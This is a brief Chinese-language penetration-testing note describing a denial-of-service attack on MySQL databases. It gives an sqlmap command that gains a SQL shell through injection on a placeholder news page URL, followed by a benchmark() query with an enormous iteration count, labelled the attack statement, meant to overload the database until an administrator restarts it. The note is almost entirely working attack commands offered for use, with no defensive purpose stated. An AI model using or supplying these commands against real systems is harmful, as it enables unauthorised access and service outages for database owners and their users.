SQLMAP渗透笔记之Mysql Dos攻击

---------------------------------------------------------------------------------------------


                SQLMAP渗透笔记之Mysql Dos攻击


---------------------------------------------------------------------------------------------


作用：攻击其数据库，使其停止工作，迫使管理员手动重启数据库。


注意：在进行DOS攻击的时候你需要拥有足够大的权限或者拥有一个shell




1.获得shell：--sql-shell


示例：
sqlmap.py -u http://www.xx.com/news.php?id=1 --sql-shell






2.在shell处执行语句就可以完成一个DOS攻击，可是使其数据库爆破或停止运行。


sql-shell>select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)


攻击语句：select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)